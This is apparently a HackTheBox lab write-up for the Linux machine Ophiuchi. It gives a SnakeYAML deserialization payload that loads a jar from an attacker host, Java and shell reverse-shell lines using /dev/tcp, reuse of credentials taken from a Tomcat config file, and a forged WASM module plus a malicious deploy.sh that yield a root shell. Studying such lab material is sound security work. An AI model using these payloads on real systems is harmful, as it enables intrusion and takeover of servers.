Skip to content

Ophiuchi Writeup - HackTheBox

Medium Linux
Mohammad Meraj

Independent Security Researcher

Ophiuchi is a Linux box. The chain runs: nmap finds SSH and Tomcat on port 8080 hosting an online YAML parser, SnakeYAML's default Constructor allows arbitrary class instantiation via !! tags, a ScriptEngineManager + URLClassLoader gadget chain loads a malicious ScriptEngineFactory jar from the attacker and executes a reverse shell as the tomcat user, Tomcat's config file contains cleartext admin credentials reused for SSH, sudo allows running a Go script that resolves dependencies by relative path, forging a main.wasm that returns info()==1 and a malicious deploy.sh gives a root shell from /tmp.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate=1000 -T4 $TARGET_IP | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
┌──(kali㉿kali)-[~]
└─$ nmap -p22,8080 -sCV -T4 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080/tcp open  http    Apache Tomcat
|_http-title: Parse YAML

Tomcat on 8080 hosts an online YAML parser. Confirm SnakeYAML deserialization by checking if the target makes outbound HTTP requests via a URLClassLoader gadget:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://$ATTACKER_IP/"]
  ]]
]
$ATTACKER_IP - - "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -

The server fetched the ServiceLoader descriptor path, confirming the full chain executes. The 404 is expected since that file was not served yet.

Foothold

Malicious ScriptEngineFactory jar

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/artsploit/yaml-payload.git
┌──(kali㉿kali)-[~]
└─$ cd yaml-payload

Edit src/artsploit/AwesomeScriptEngineFactory.java, replacing the constructor body with the reverse shell:

public AwesomeScriptEngineFactory() throws Exception {
    Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"});
}
┌──(kali㉿kali)-[~]
└─$ javac --release 8 src/artsploit/AwesomeScriptEngineFactory.java
┌──(kali㉿kali)-[~]
└─$ jar -cvf yaml-payload.jar -C src/ .

Compile targeting Java 8 bytecode. The target JRE only supports up to class file version 55 (Java 11), compiling with the system default Java 21 produces class file version 65 which the target rejects with UnsupportedClassVersionError.

Serve the jar and submit the payload:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://$ATTACKER_IP/yaml-payload.jar"]
  ]]
]
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Shell as tomcat.

Lateral Movement

Tomcat credentials reused for SSH

┌──(kali㉿kali)-[~]
└─$ cat /opt/tomcat/conf/tomcat-users.xml
<user username="admin" password="$TOMCAT_PASSWORD" roles="manager-gui,admin-gui"/>
┌──(kali㉿kali)-[~]
└─$ ssh admin@$TARGET_IP
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin)

SSH as admin.

Privilege Escalation

Relative-path sudo via WASM gate

┌──(kali㉿kali)-[~]
└─$ sudo -l
User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
┌──(kali㉿kali)-[~]
└─$ cat /opt/wasm-functions/index.go
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
init := instance.Exports["info"]
result, _ := init()
if (result.String() != "1") {
    fmt.Println("Not ready to deploy")
} else {
    fmt.Println("Ready to deploy")
    exec.Command("/bin/sh", "deploy.sh").Output()
}

Both main.wasm and deploy.sh are relative paths. Running the sudo command from a different directory makes it load attacker-controlled files. Decompile the real main.wasm to see what info() returns:

┌──(kali㉿kali)-[~]
└─$ scp admin@$TARGET_IP:/opt/wasm-functions/main.wasm /tmp/main.wasm
┌──(kali㉿kali)-[~]
└─$ git clone --recursive https://github.com/WebAssembly/wabt && cd wabt && mkdir build && cd build && cmake .. && cmake --build .
┌──(kali㉿kali)-[~]
└─$ ./wasm2wat /tmp/main.wasm
(func $info (type 0) (result i32)
  i32.const 0)

info() always returns 0. Forge a replacement that returns 1:

; main.wat
(module
  (func (export "info") (result i32)
    i32.const 1
  )
)
┌──(kali㉿kali)-[~]
└─$ # Build and upload forged WASM
┌──(kali㉿kali)-[~]
└─$ ./wat2wasm main.wat -o main-fake.wasm
┌──(kali㉿kali)-[~]
└─$ scp main-fake.wasm admin@$TARGET_IP:/tmp/main.wasm
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
admin@ophiuchi /tmp $ cat > /tmp/deploy.sh << 'EOF'
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
EOF
admin@ophiuchi /tmp $ chmod +x /tmp/deploy.sh
admin@ophiuchi /tmp $ cd /tmp
admin@ophiuchi /tmp $ sudo /usr/bin/go run /opt/wasm-functions/index.go
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 33758
root@ophiuchi:/tmp# whoami
root

References